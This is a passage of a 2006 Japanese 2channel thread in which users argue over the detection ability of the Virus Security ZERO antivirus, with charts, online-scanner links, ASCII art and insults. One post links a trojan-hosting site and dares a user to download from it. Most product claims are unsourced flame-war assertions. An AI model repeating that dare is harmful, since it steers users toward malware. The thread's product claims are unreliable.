    /    (●)  (●) \  ’、′・  ’、.・”;  ”  ’、
    |       (__人__)  ’、′  ’、  (;;ノ;; (′‘ ・. ’、′”;
     \      ` ⌒´ ’、′・  ( (´;^`⌒)∴⌒`.・   ” ;  ’、′
    ノ          、 ’、 ’・ 、´⌒,;y'VAIO;;;;;ノ、"'人      ヽ
   /           〃  、(⌒ ;;;:;´'从 ;'   ;:;;) ;⌒ ;; :) )、   ヽ
  (    ヽ、     ,.γ ー( ´;`ヾ,;⌒)´  从⌒ ;) `⌒ )⌒:`.・ ヽ
   |   ヽ     γ⌒ヽ)ニ`:::、 ノ  ...;:;_)  ...::ノ  ソ ...::ノ


402 :名無しさん@お腹いっぱい。:2006/09/06(水) 06:21:03
バンドル版が増加したんだろ


403 :名無しさん@お腹いっぱい。:2006/09/06(水) 06:27:27
>>402
何にバンドルされてるんですか?
増加というからには既にバンドル版が存在しているかのような発言ですが。

404 :名無しさん@お腹いっぱい。:2006/09/06(水) 08:55:33
>>403
月刊 手芸の友にバンドルされてたよ

405 :名無しさん@お腹いっぱい。:2006/09/06(水) 10:10:59
>>403
NECのモデム買ったらバンドルされてた

406 :名無しさん@お腹いっぱい。:2006/09/06(水) 14:03:47
>>401
ここでそうきたかw
ワロスwwww

407 :名無しさん@お腹いっぱい。:2006/09/06(水) 17:18:33
>>401
ユーザーのレスかと思ったら元ユーザーのレスかよw

408 :名無しさん@お腹いっぱい。:2006/09/06(水) 18:05:06
つーか自分でセキュリティZEROって客を嘲笑うかのように堂々と公表してるのに・・・

409 :名無しさん@お腹いっぱい。:2006/09/06(水) 20:23:15
 Windowsを中心としたマルウェア3万7116ファイル(圧縮ファイル含む:計2.19GB)
  における検出数(数値は検出数)

               ├ ─ ─ ─ ─ ─ ─ ┐
.    カスペルスキー │          37999 │
               ├ ─ ─ ─ ─ ─ ─ ┘
               ├ ― ─ ─ ─ ─ ─ ┐
. ウィルスセキュリティ │          15043 │
               ├ ─ ─ ─ ─ ─ ─ ┘
               │          │           │
         ←low 1000         10000        100000 high→

  こうやってグラフにしてみると分かるがあまり検出数に差はない
  しかし分かる人には違いは分かるのである

>>409

410 :名無しさん@お腹いっぱい。:2006/09/06(水) 20:24:41
失敗したorz

411 :名無しさん@お腹いっぱい。:2006/09/06(水) 20:32:13
>>409はカス厨

412 :名無しさん@お腹いっぱい。:2006/09/06(水) 20:42:12
 Windowsを中心としたマルウェア3万7116ファイル(圧縮ファイル含む:計2.19GB)
  における検出数(数値は検出数)

                ├ ─ ─ ─ ─ ─ ─ ┐
..     カスペルスキー │          37999 │
                ├ ─ ─ ─ ─ ─ ─ ┘
                ├ ― ─ ─ ─ ─ ─ ┐
.. ウィルスセキュリティ │          15043 │
                ├ ─ ─ ─ ─ ─ ─ ┘
                │          │           │
          ←low 1000         10000        100000 high→

  こうやってグラフにしてみると分かるがあまり検出数に差はない
  しかし分かる人には違いは分かるのである

>>412


413 :名無しさん@お腹いっぱい。:2006/09/06(水) 20:43:27
>>412
カスペルキーに偏り過ぎな気もする

414 :名無しさん@お腹いっぱい。:2006/09/06(水) 20:44:06
○ カスペルスキー
× カスペルキー

415 :名無しさん@お腹いっぱい。:2006/09/06(水) 20:47:46
カス厨うざ

416 :名無しさん@お腹いっぱい。:2006/09/06(水) 21:37:16
どう考えても、VSはそれほど悪くない。

417 :名無しさん@お腹いっぱい。:2006/09/06(水) 21:40:30
あのvirus.grでもVSは取り上げられなかったね
どうなってるの?

418 :名無しさん@お腹いっぱい。:2006/09/06(水) 22:16:57
>>417
認知度がゼロだからだよ
それとも依頼しておくか? 恥を世界にばらまくことになるが

419 :名無しさん@お腹いっぱい。:2006/09/06(水) 22:21:15
>>418
別に恥を書くのは俺でもお前でもないだろ

420 :名無しさん@お腹いっぱい。:2006/09/06(水) 22:26:10
140 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2006/09/06(水) 06:31:45
http://internet.watch.impress.co.jp/cda/news/2006/09/05/13196.html
ウイルスセキュリティがWinAntiVirusProやWinAntiSpyware2005に対応していないことは周知の事実だが
これにも対応していないことを今確認した。本当にこのソフトはスパイウェアを検出するの?

421 :名無しさん@お腹いっぱい。:2006/09/06(水) 22:28:01
>>419
日本でこんなアンチウイルスのシェアが大きいというの恥だよ
一応依頼しておくか。ネタにはなるかもしれんし

422 :名無しさん@お腹いっぱい。:2006/09/06(水) 23:13:57
>>421
以来できるんならしてよ
馬鹿なユーザーも目が覚めるだろ

423 :名無しさん@お腹いっぱい。:2006/09/07(木) 00:01:05
ウチの会社はVS入れてるよー
んで、公の提出物があるから念のため俺の
カスペルスキー5日本語版で同僚のパソコンをスキャンしてみたら
トロイが2つ、バックドア1つ、bargainbuddyとかいうのが2種類、スパイウェアが6つ見つかった
こりゃネタじゃなく酷いなw と思った。

424 :名無しさん@お腹いっぱい。:2006/09/07(木) 00:07:01
大手は性能で勝負してシェアを上げてきて、まさに正統派なんだよね。
VSは低価格と広告戦略でシェアを上げてきて正統派とは言えない。
大手は価格競争に巻き込まれるしね。
アンチはそれが気に入らないんだよね。
でもシェアを上げてきたVSもこれからは社会的な影響も考えて性能アップをはかるんじゃないかな。

大手は性能戦略から価格戦略へ。

VSは価格戦略から性能戦略へ。

425 :名無しさん@お腹いっぱい。:2006/09/07(木) 00:09:51
ならねって

426 :名無しさん@お腹いっぱい。:2006/09/07(木) 00:13:11
>>425
おまえの家、平屋やがなぁ

427 :名無しさん@お腹いっぱい。:2006/09/07(木) 00:14:28
>大手は性能戦略から価格戦略へ。

>VSは価格戦略から性能戦略へ。

また
       ____
     /⌒  ⌒\
   /( ●)  (●)\
  /::::::⌒(__人__)⌒::::: \  
  |     |r┬-|     |  
  \      `ー'´     /
のAA貼ってほしいのか?

428 :名無しさん@お腹いっぱい。:2006/09/07(木) 00:25:11
>>424
VSが性能戦略に移行するわけないだろ
だいたい先立つものが (ry

429 :名無しさん@お腹いっぱい。:2006/09/07(木) 00:32:18
中級者はメンゼンで勝負して点数を上げてきて、まさに正統派なんだよね。
初心者はクイタンとトイトイで点数を上げてきて正統派とは言えない。
中級者は早上がり競争に巻き込まれるしね。
アンチはそれが気に入らないんだよね。
でも麻雀が判ってきた初心者もこれからはメンツの影響も考えて手役アップをはかるんじゃないかな。

中級者はメンゼンからクイタンへ。

初心者はクイタンからメンゼンへ。

430 :名無しさん@お腹いっぱい。:2006/09/07(木) 00:32:36
技術がないから性能が低いのに
金が入ったからと言って簡単に技術は手に入りませんよ

431 :名無しさん@お腹いっぱい。:2006/09/07(木) 00:36:42
技術の低さは低価格が売りのソース製品の数々を見れば分かるよな。
ソフトウェア会社に入れそうなんだけどソースは勘弁

432 :名無しさん@お腹いっぱい。:2006/09/07(木) 01:59:00
結局これだよ
>お問合せいただきました件につき、ご案内いたします。

>このたびはご案内までにお時間をいただき、申し訳ございませんでした。

>ご提供いただいた情報を元に調査を行いましたが、残念ながら現時点では
>対応に至っておりません。
>ソフトによる対応が不可能となりますので、お手数ではございますが、
>データをバックアップされたうえで、現象を回避するためパソコンの
>リカバリ(初期化)をご検討ください。

>リカバリ後、最新の状態で引き続きご利用いただきたく存じますが、
>お客様ご希望の場合には、弊社にてご返品を承らせていただきます。

>ご希望の場合には、大変お手数ではございますが、以下の項目を
>ご連絡くださいますようお願いします。

7月末に検体送って(CD)8月末にやっと来た返事です
W32.antinny.AXとノートンでは出たのになー

433 :名無しさん@お腹いっぱい。:2006/09/07(木) 02:03:55
>426
貧乏人!!、無理して上に継ぎたさんでも
200坪程度なら平屋で建つんじゃい

434 :名無しさん@お腹いっぱい。:2006/09/07(木) 02:24:13

オンラインスキャンだよ!

VSユーザーのみんな〜是非スキャンしてみよう!

もちろん無料だよ。

ウイルスの検出だけで削除まではしてくれないけどね!

【トレンドマイクロ 】
http://www.trendmicro.co.jp/hcall/index.asp
【カスペルスキー】
http://www.kaspersky.co.jp/scanforvirus/
【シマンテック】
http://www.symantec.com/region/jp/securitycheck/

見つかるのは希望か、失望か?



435 :名無しさん@お腹いっぱい。:2006/09/07(木) 02:25:46
>>434
ちょwww「知らぬが仏」って言葉もあるだろwww

436 :名無しさん@お腹いっぱい。:2006/09/07(木) 02:27:23
>>434
VS信者を装って、実はTrendMicro,Symantec,Kasperskyに
データを集めてるだけ?
ユーザー騙すって最低じゃん

437 :名無しさん@お腹いっぱい。:2006/09/07(木) 02:29:21
>>436
お前には>>434がVS信者に見えるのか?もしオンラインスキャンしなかったらVSでは・・・まぁいいさ、VSで勝手に感染しとけば?

438 :名無しさん@お腹いっぱい。:2006/09/07(木) 03:36:19
>>436
その理屈は強引すぎだろ・・・w

439 :名無しさん@お腹いっぱい。:2006/09/07(木) 03:44:38
ここ一週間でさらにダメっぶりがぶりぶりだ

440 :名無しさん@お腹いっぱい。:2006/09/07(木) 03:47:32
他にもこういうオンラインスキャンがあるよ !

【パンダオンラインスキャン 】
http://www.pandasoftware.com/activescan/jp/activescan_principal.htm

ウイルスの検出どころか削除までしてくれるので大変お勧めだよ !

VSユーザーのみなさん、無料だから一度スキャンをしてみようよ !

441 :名無しさん@お腹いっぱい。:2006/09/07(木) 09:56:13
シマンテックのオンラインスキャンしても、ウイルス感染なし。ZEROでも
役に立ってるんじゃないか?と、おもた

442 :名無しさん@お腹いっぱい。:2006/09/07(木) 10:06:57
>>441
ここのサイトにいってみればZEROの真価が試されるはずだよw
http://www.trojanfrance.com/

もっとも本当はZEROじゃ怖くてダウンロード出来ないんだろ?ううん?
怒らないから正直におじさんに話してごらん。

443 :名無しさん@お腹いっぱい。:2006/09/07(木) 12:13:50
>>441
すごく安全な使い方をしているんだなw
お前はスパイボットだけ入れとけばいいじゃない?
たぶんいくら使っても感染することはないから

444 :名無しさん@お腹いっぱい。:2006/09/07(木) 13:43:44
>>442
いい置き場だね┐(´▽`)┌検査用にゲットしますた

445 :名無しさん@お腹いっぱい。:2006/09/07(木) 14:04:31
つーかよっぽど馬鹿じゃない限りウイルスなんかに感染なんかしないしw

446 :名無しさん@お腹いっぱい。:2006/09/07(木) 14:30:17
>>445
VS使ってる者なんですが、さっきシマンテックオンラインスキャンやってみました。
感染16個、そのうち14個は2chの専ブラのフォルダの中から見つかりました。
よくノートン先生が過剰反応するなどといった書き込みがありますが、やっと意味が分かりました。VSは反応しません。
とりあえず感染ファイルは削除しました。これでおkですか?VSはもちろん常駐、毎回更新してます。

447 :名無しさん@お腹いっぱい。:2006/09/07(木) 14:35:45
以上
過剰反応どころか簡単に素通りするソフトの提供でお送りしますた

448 :名無しさん@お腹いっぱい。:2006/09/07(木) 14:40:23
ウイルスセキュリティの影響力は業界一です。
バスターやノートンにも影響を与えました。

449 :名無しさん@お腹いっぱい。:2006/09/07(木) 14:42:34
           |;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;ノ|
           |丶、 ;;; __;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;_,,: ィ";;_|
           ト、;;;;;;;;;;;;;;;` ` '' ー -- ‐ '' ";;;;;;;;;,:ィ;:;!
          ,';:``' ‐ョ 、 ,_ ;;;;;;;;;;;;;;;;;;;;;;;;;;; , - '"l;:;:;:;:l       ┌‐┴  ┌┐ _|_
          l;:;:;:;:;:;:;ミ   ` ` '' ー -‐ '"    ,リ;:;:;:l       |┼┼ ,工、   ノ┐ ・ ・ ・
          l;:;:;:;:;:;:;:ゝ   く三)   (三シ  `ヾ;:t、      /, 小小 |_|   (二
         fミ{;:;:;:;:f'´  , -−-_,, _,ィ 、_,,ィ,.-−、  };f }
         l トl;:;:;:;:l  、,ィ或tュ、゙:ミ {,'ィt或アチ l:l,/
         ゙i,tヾ:;:;:!  `ヽ 二ノ   ト ` ‐''"´  l:l:f         /ヽ |__ ーァ ノ一 __
          ヽ`ー};:l       ,r'、   ヽ      リ_)       ┬ /、| ∠、 ニ、 / 〃
           `"^l:l      ,/゙ー、  ,r'ヽ    l        巫 ノ  。__) メ レ ヽ
             ゙i    ,ノ    `'"  丶.   ,'
               ゙l、   ′ ,, ィrェェzュ、,_ 〉 } /         ⊥   |  l l   ーァ   |       ┃ ┃
              ',ヽ  ヘヾ'zェェェッ',シ' //ヽ          |_ヽ |      ∠、  ̄|`ヽ丶    ┃ ┃
               } 丶、 ` ー--‐ '"'´,/ノ:.:.:ヽ       (j 、)  ヽ__ノ  や 。__,)  / 、ノ  ツ  ・ ・
              /l   丶、      ,.イ:.:.:.:.:.:.:.:丶、、
            ,r'"^l !    ` ー‐;オ´:.:.:.:.:.:.:.:.:.,ノ  ,}、
       ,. -ァ=く(:.:.:.l  l      //:.:.:.:.:.:., - '"  ,/ ヽ、
    , - '"´ / ,/`>'t、_」___,ィ'゙,ィ,.: -‐ '" ,. -‐ '"    \


450 :名無しさん@お腹いっぱい。:2006/09/07(木) 14:55:23
アーッ!

451 :名無しさん@お腹いっぱい。:2006/09/07(木) 19:47:26
>ウイルスセキュリティの影響力は業界一です。

確かに
いい加減な検出力では信頼を落とすと言う事が良く分かったからな

452 :名無しさん@お腹いっぱい。:2006/09/07(木) 20:32:23
周囲でウイルスセキュリティを使っている人が何人かいます。
別に不具合が起きた、とかいう声は聞かれません。
やたら悪さが強調されていますが、
実態はこんなところじゃないでしょうか。

453 :名無しさん@お腹いっぱい。:2006/09/07(木) 20:41:35
多くのコンシューマは、
家庭のPCのウイルス対策(他のセキュリティさえ含まれず)
にかけてもよい予算は、
年間で2000円以下と回答しています。


454 :名無しさん@お腹いっぱい。:2006/09/07(木) 20:49:53
そうか?
俺の知り合いはオンラインスキャンしたらExploitに感染してたけど

あと>446は、ログを消したまでは分かったが、残りの2個の感染ファイルはどうしたんだ?



455 :名無しさん@お腹いっぱい。:2006/09/07(木) 20:51:57
言葉が足りなかったな
感染後のウィルス駆除はどうやったのかです
すいまそ

456 :名無しさん@お腹いっぱい。:2006/09/07(木) 21:02:56
結局、ここでウイルスセキュリティZEROを叩く者達は、
検出率が限りなく100%に近くないと、イヤ100%でないと
許さないのだろう・・・
ウイルスセキュリティとそれを送り出したソースネクストの
心意気が全く理解できていない。
後年、ウイルスセキュリティの大英断のおかげで、
セキュリティソフト界の革命の先駆けと讃えられるであろう
というのに。

457 :名無しさん@お腹いっぱい。:2006/09/07(木) 21:09:51
あと追記
ウィルス感染前に発見駆除した場合と、感染後に駆除する場合では
やり方が全然違う
感染前に発見した場合は、その感染ファイルからウィルスを駆除するか
感染ファイルを削除すればいい
しかし、感染後の駆除の仕方は非常に難解だ
一度シマンテックやトレンドマイクロ、マカフィーなどのHを見て各ウィルスの駆除の方法を
見てみるといい
どの会社のソフトを使っても感染後だとウィルス駆除が出来ない場合が多いことが分かると思う
だから、みんな高いお金出してアンチウィルスソフトを購入するんだよ
検索して見つかった感染ファイルを消すだけでいいんなら、フリーの奴で十分ことたりる
必要なデータをバックアップを取ってHDをフォーマットしてとか、やりたいんならVS使えばいい

458 :名無しさん@お腹いっぱい。:2006/09/07(木) 21:26:28
>>452
周囲でノーガード人が何人かいます。
別に不具合が起きた、とかいう声は聞かれません。
やたらセキュリティが強調されていますが、
実態はこんなところじゃないでしょうか。

軽さ安さ性能を総合すればVSはNGとほぼ同等の実力を保持していると言えよう。

459 :名無しさん@お腹いっぱい。:2006/09/07(木) 21:38:42
>>458
あまりに投稿者にも失礼なヤツ
アンチは皆こんな性格

460 :名無しさん@お腹いっぱい。:2006/09/07(木) 21:53:32
擁護班は相変わらず、不利益な発言をする人間の人格否定しか出来ない。

461 :名無しさん@お腹いっぱい。:2006/09/07(木) 21:59:09
>>459
実際、周囲でノーガードの人が6人います
別に不具合が起きた、とかいう声は聞かれませんでした。
試しにカスペルスキーを用いてスキャンしてみましたが
スパイウェアを検出したのが2台、ウイルス(トロイとバックドア)が確認されたのが1台
ウイルス感染していたパソコンはありませんでした
やたらセキュリティが強調されていますが
実態はこれと似たようなところじゃないでしょうか。

軽さ安さ性能を総合すれば、NGはVSと並んで有力な選択肢なのではないでしょうか?

462 :名無しさん@お腹いっぱい。:2006/09/07(木) 22:01:40
VS使いって大手がオンラインスキャンやめたら
おしまいジャン、ジャンジャン。

463 :名無しさん@お腹いっぱい。:2006/09/07(木) 22:12:20
>>457
これはホント気違いの意見だね
ウイルスに感染しないようにアンチウイルスを使っているのに
感染した後の話どころか駆除の方が違うとか当たり前の馬鹿話を長々と披露してる

感染しないようにアンチウイルスを使うんです
感染する可能性が一番高いのがウイルスセキュリティです

464 :名無しさん@お腹いっぱい。:2006/09/07(木) 22:26:59


感染しない可能性が一番低いのがVSです

465 :名無しさん@お腹いっぱい。:2006/09/07(木) 23:13:17
どう考えても、PCビギナーにはウイルスセキュリティが最適だろう
入手、設定、扱い・・・・そして、コスト
どれをとっても秀逸だ。性能もそこそこ確保しているし。

466 :名無しさん@お腹いっぱい。:2006/09/07(木) 23:48:52
どう考えてもと言われると想像力の問題な気がしてくるね
駄目な奴は何を考えても駄目というか

467 :名無しさん@お腹いっぱい。:2006/09/07(木) 23:50:06
>>465

ビギナーほどしっかりしたセキュリティソフトにすべきだと思うのだが。。
VSの安全、安全、安全、安全・・・・・の表示に騙され続け、気付いたときには

         
           手遅れです。。。。。。。






468 :名無しさん@お腹いっぱい。:2006/09/07(木) 23:50:51
アンチの必殺技「人格攻撃」でた!

469 :名無しさん@お腹いっぱい。:2006/09/07(木) 23:52:33
さっきの>>459か?

擁護班は相変わらず、不利益な発言をする人間の人格否定しか出来ない。

って言われたのが余程悔しかったと見える。。。哀れ

470 :名無しさん@お腹いっぱい。:2006/09/07(木) 23:52:36
>>465
PCビギナーだからなに?
ビギナーだからこそ、危険回避の堅牢さが必要。
お前みたいな、成長しない人間は公害発生器だ

471 :名無しさん@お腹いっぱい。:2006/09/07(木) 23:53:51
すぐに決めつけるアンチ!

悔しいそうな・・・
君がな?

472 :名無しさん@お腹いっぱい。:2006/09/07(木) 23:55:23
>>471

もがけばもがくほど惨めに見えてしまうのに。。。気付けよ

473 :名無しさん@お腹いっぱい。:2006/09/07(木) 23:55:30
ここのアンチって、低レベルすぎるな・・・

474 :名無しさん@お腹いっぱい。:2006/09/07(木) 23:56:23
>>473

もがけばもがくほど惨めに見えてしまうのに。。。気付けよ


475 :名無しさん@お腹いっぱい。:2006/09/07(木) 23:56:53
そりゃ、知識はないくせに、誰かの腰巾着でソース叩いてりゃ、
自分が偉くなったみたいに感じるアホだからなー

476 :名無しさん@お腹いっぱい。:2006/09/07(木) 23:58:34

オンラインスキャンだよ!

VSユーザーのみんな〜是非スキャンしてみよう!

もちろん無料だよ。

ウイルスの検出だけで削除まではしてくれないけどね!

【トレンドマイクロ 】
http://www.trendmicro.co.jp/hcall/index.asp
【カスペルスキー】
http://www.kaspersky.co.jp/scanforvirus/
【シマンテック】
http://www.symantec.com/region/jp/securitycheck/

見つかるのは希望か、失望か?




477 :名無しさん@お腹いっぱい。:2006/09/08(金) 00:00:24
このソフトを使うなら、定期的にオンラインスキャンをしましょう・・・でOK。

478 :名無しさん@お腹いっぱい。:2006/09/08(金) 00:03:28
インドでウィンドウズ不買運動

コカ・コーラなど米系飲料の不買運動が起きたばかりのインドで、
今度は米マイクロソフト製のOS「ウィンドウズ」の不買運動が始まった。
 英紙フィナンシャル・タイムズによると、ケララ州政府は州内の学校でウィンドウズの利用を中止。
今後はオープン・ソフト(無料でコピーが可能なソフト)の利用方法を教えるという。
同政府関係者は「マイクロソフト製品の不買運動ではない」としているが、
ウィンドウズ以外の製品使用が主流になりそうだ。

ttp://headlines.yahoo.co.jp/hl?a=20060831-00000013-fsi-bus_all


479 :名無しさん@お腹いっぱい。:2006/09/08(金) 00:04:26
このスレに来ている人へ


尖閣諸島は、中国領

と、いうことで動いてくれ!

他の日本人たちに教えてやってくれ!

480 :名無しさん@お腹いっぱい。:2006/09/08(金) 00:09:25
>>479
日本人とインド人しかいませんので無理です

481 :名無しさん@お腹いっぱい。:2006/09/08(金) 00:29:10
どう考えても、PCビギナーにはノーガードが最適だろう
入手のし易さ 設定の簡素さ 扱い易さ・・・・そして、コストw
どれをとっても秀逸だ。現実的な性能もウイルスセキュリティとほとんど差ないし。

482 :名無しさん@お腹いっぱい。:2006/09/08(金) 00:30:30
ウイルスセキュリティを入れないと、危ない

483 :名無しさん@お腹いっぱい。:2006/09/08(金) 00:32:56
ノーガードを初心者にすすめるとは・・・
やはり、アンチは初心者のことを考えていないな。
もしくは、愉快犯の荒らしだな・・・
初心者の皆さん、必ずセキュリティは必須です。
コストパフォーマンスが最高の
ウイルスセキュリティZEROがいいですよ。

484 :名無しさん@お腹いっぱい。:2006/09/08(金) 00:40:40
家庭用PCなら十分ジャマイカ
ノートン糞重すぎ。
まるでワームのようだったーよ。

乗り換えて軽くなったし、2ヶ月たったーけど、なーんも不便なし。
たまにノートンのウィルスチェックするけど、2chの誤作動用htmのあるテンポラリーファイルの削除すれば、何もひっかからないしーw

メールの読みの速いこと速いこと。
ノー豚外した実感を一番感じた。

485 :名無しさん@お腹いっぱい。:2006/09/08(金) 00:41:50
>>483
> 初心者の皆さん、必ずセキュリティは必須です。

良いこと言った

> コストパフォーマンスが最高の
> ウイルスセキュリティZEROがいいですよ。

初心者騙すのは止めとけ

コストパフォーマンス=効果/コスト

「コスト=0」なら「コストパフォーマンス→∞」で最も良くなるから
フリーソフトが一番良い

∴ コストパフォーマンスを最高にしたければAntiVir, Avast, AVGのどれかにすれば良い

486 :名無しさん@お腹いっぱい。:2006/09/08(金) 00:43:44
        ⌒ヽ         、 l ,
  ──  (   )  ̄      ‐ 〇 ‐
 ̄ ̄   (    γ       (⌒ヽ⌒ヽ
  ⌒ヽ  ノ    )_    (⌒γ    (   )
    ´       )    (

        !\
       ,rl |  \
      ,/ |.l   \   今日もお魚さんがイッパイ♪
     /..::;;| |     \      
   .ノハハヾ | | 〃ノハヽ > ./⌒i
__ _ ..(’ー’ノリ | | 川*^ヮ゚) ./__.|__ __ _
   (0゚゚0) .| | ど  . つ@ . : : :::.|: :. : .: . : ..
  〈 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄> '' |  ::.
  〜"'':'〜:''^''〜'''^〜'''〜''   . .| .  .
 ^  、,  ^  ^   ^^ . .. .、,, . ^.
       ~    〜    〜〜


487 :名無しさん@お腹いっぱい。:2006/09/08(金) 00:44:40
感染してからじゃ遅いからなぁ
それを経験してから他社に乗り換えるってのもね
そんな経験自体、人生に必要ないし


488 :名無しさん@お腹いっぱい。:2006/09/08(金) 00:51:02
OSタンみたいに萌キャラ化すればいいんじゃね

489 :名無しさん@お腹いっぱい。:2006/09/08(金) 00:52:49
最近の暴露ウイルスは人生オワタ\(^o^)/になるからなー
安物買いの人生失いはいやずら

490 :名無しさん@お腹いっぱい。:2006/09/08(金) 01:00:33
>>483
ふざけ半分じゃない悪意あるプログラムに対するセキュリティは
ノーガード=VSだし、コストパフォーマンスからみればフリーで十分
VSはどのみちアリエナイ

491 :名無しさん@お腹いっぱい。:2006/09/08(金) 01:22:18
>>485
ゼロ除算

492 :名無しさん@お腹いっぱい。:2006/09/08(金) 01:47:55
>>491
こういう計算は[コスト→0]で極限をとるんだよ
と、マジレスしてみるか
高校で習う数学のレベルなんだがな

493 :名無しさん@お腹いっぱい。:2006/09/08(金) 02:58:50
|:::::::::::::::::::::::::::::::
|" ̄ ゙゙̄`∩::::::::::::::::
|,ノ  ヽ, ヽ:::::::::::::::::::::::::
|●   ● i':::::::::::::::
| (_●_)  ミ:::::::::: 
|      ノ::::::::::
{ヽ,__   ):::::::
| ヽ   /::::::

>>486のAAが・・・イイ・・・

494 :名無しさん@お腹いっぱい。:2006/09/08(金) 05:02:51
>>484
>家庭用PCなら十分ジャマイカ
なぜこういう根拠ZEROの発言が容易に出来るのか疑問

495 :名無しさん@お腹いっぱい。:2006/09/08(金) 07:33:43
アンチの奴らは、本当にセキュリティに精通している人間ではなく、単に

1)雑誌を読んで、それを鵜呑みにしている
2)アンチウイルスサイトを見て、それを鵜呑みにしている

ようだな。

3)VSを導入して被害を受けたからアンチになった ってヤツはほとんどいないだろ

アンチの奴らの根拠とやらを見せて欲しいものだ。1)2)だったら笑っちゃうわ

496 :名無しさん@お腹いっぱい。:2006/09/08(金) 08:00:35
アンチウイルス使わずにノーガードでエロを満喫しているが。
エロ専用マシンにしてあるのでウイルスなんか気にしていない。


497 :店員:2006/09/08(金) 08:01:04
>>495
ザルが流通すると乗り換えor有料サポートのお客様は増えるのだが、被害者の傾向は

1)ソースの広告を鵜呑みにしているので証拠を示すまで不具合=故障と信じて疑わない
2)アンチウイルスソフトの比較なんて見ているはずもない
3)被害を受けてからは無難にバスター、ノートン辺りをご購入

確かに自分はユーザーではないが被害者は十分に見てきたぞ
前バージョンまでのことでZEROがどうなるかわからんが変わらないだろうな…

498 :名無しさん@お腹いっぱい。:2006/09/08(金) 09:12:04

オンラインスキャンだよ!

VSユーザーのみんな〜是非スキャンしてみよう!

もちろん無料だよ。

ウイルスの検出だけで削除まではしてくれないけどね!

【トレンドマイクロ 】
http://www.trendmicro.co.jp/hcall/index.asp
【カスペルスキー】
http://www.kaspersky.co.jp/scanforvirus/
【シマンテック】
http://www.symantec.com/region/jp/securitycheck/

見つかるのは希望か、失望か?






499 :名無しさん@お腹いっぱい。:2006/09/08(金) 13:51:03
>>497
つーか前バージョンと中身は殆ど変わらないのだが
ただ単に更新料を無料にしただけ

500 :名無しさん@お腹いっぱい。:2006/09/08(金) 14:05:25
検出能力は無料ソフト以下ですので
危ないところにはいかないでください
対応できないウイルスの場合はあきらめて他のソフトを使ってください
もっとも感染しても検出できませんので、あなたの自己判断が頼りです
以上を了承したうえで、無料より高い1980円をお払いください

って、書いたら売れないだろな
安物買いの銭失い

501 :名無しさん@お腹いっぱい。:2006/09/08(金) 14:06:38
>>499
アンチウイルスとしての性能が5年前(ry・

502 :名無しさん@お腹いっぱい。:2006/09/08(金) 16:40:23
最近プログラムや定義ファイルの更新多いな
どうしたんだ?

503 :名無しさん@お腹いっぱい。:2006/09/08(金) 16:44:42
>>502
所詮、噴火口に水だけどな

504 :名無しさん@お腹いっぱい。:2006/09/08(金) 16:54:18
>>495
それを事実に基づき否定できない信者
その数字が誤ってる、根拠がないと否定してみろよ
雑誌やサイトが間違っている根拠は?それさえ示さずに全否定とは見苦しい
毎回毎回言っていること、お前らの発言には根拠が皆無

505 :名無しさん@お腹いっぱい。:2006/09/08(金) 17:16:41
VS入れてる奴はセキュリティ面に全くやる気がなく、気休めでいれてんだろ。
「はいはい、ちゃんとセキュリティソフト入れてますよー」みたいな感じで。
ネットに繋ぐ以上その考えは改めたほうがいいと思う

506 :名無しさん@お腹いっぱい。:2006/09/08(金) 19:35:22
所詮、ここのアンチなどなんの知識もなく、
どこかから仕入れた一方的な情報を垂れ流すだけ。
ソフトやソースに対して筋違いな恨みを抱き続ける偏執狂だから。
そんな連中の戯れ言につき合う必要はない。
無視するのが一番いい。

常識的な使い方ならば、ウイルスセキュリティで、十分。

507 :名無しさん@お腹いっぱい。:2006/09/08(金) 19:58:39
とても、アンチ側は「啓蒙」しているとは思えないね。


508 :名無しさん@お腹いっぱい。:2006/09/08(金) 20:02:19
海外エロサイトよく行くんだけどZEROで大丈夫?
今はマカヒ使ってるけど。

509 :名無しさん@お腹いっぱい。:2006/09/08(金) 20:07:17
じゃあ、マカ使ってろよ

510 :名無しさん@お腹いっぱい。:2006/09/08(金) 20:11:38
>>508
セキュリティ初心者質問スレッドpart74
http://pc8.2ch.net/test/read.cgi/sec/1157155870/217
217 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2006/09/07(木) 22:33:55
>>213
元利用者からの意見だが、
・ルータ利用し有線で接続
・家庭内LANにはHDDやプリンタなどを共有していない
・インスコするPCではシマンテックの商品を使った事は無い(オンラインスキャン除く)
・海外やアダルトサイトを見ない
・定期的にオンラインスキャンをする
・ネットやスパイウェア等に関してある程度知識がある
・何回リカバリーしても構わない(する覚悟がある)
以上を全て満たすなら入れてもいいと思うが、
ZEROではなく2006を買って、問題がなければマイジャンで稼いだポイントで更新する事をすすめる

>海外やアダルトサイトを見ない
にひっかかる

511 :名無しさん@お腹いっぱい。:2006/09/08(金) 20:14:07
>ZEROではなく2006を買って

もう店頭では、ZEROしか見かけませんが・・・
あっても、2006すげえ値上がってるし

512 :名無しさん@お腹いっぱい。:2006/09/08(金) 20:17:23
即レスだねぇ。39!

513 :名無しさん@お腹いっぱい。:2006/09/08(金) 20:54:02
海外のサイトと日本のサイトの見分け方教えてください

514 :名無しさん@お腹いっぱい。:2006/09/08(金) 20:56:32
英語なら海外、日本語なら日本。

515 :名無しさん@お腹いっぱい。:2006/09/08(金) 21:23:37
>>495
ウイルスセキュリティ(K7)はMS認定とCheckmark認定を受けていない。
これは覆しようのない事実。
なぜ認定されないのか少しぐらい考えた方がいい。

516 :名無しさん@お腹いっぱい。:2006/09/08(金) 21:27:30
MSに献金してないから


517 :名無しさん@お腹いっぱい。:2006/09/08(金) 21:32:07
人種差別だからか?

518 :名無しさん@お腹いっぱい。:2006/09/08(金) 21:33:07
インド嫌い

519 :名無しさん@お腹いっぱい。:2006/09/08(金) 21:35:59
でもカレーすき

520 :名無しさん@お腹いっぱい。:2006/09/08(金) 21:37:19
レインボーマンは嫌い


521 :名無しさん@お腹いっぱい。:2006/09/08(金) 21:49:39
日本は後進国だからな
これからだよ

522 :名無しさん@お腹いっぱい。:2006/09/08(金) 21:56:32
これが擁護派の知能
答えられないと茶化して荒らす

523 :名無しさん@お腹いっぱい。:2006/09/08(金) 22:12:15
まぁ、まぁ、落ち着こうぜ
擁護派とかアンチとか言ってる場合じゃないと思うんだ
これだけネットのセキュリティ意識が低いってのは、この分野では後進国の日本では
いたしかたないのかもしれない
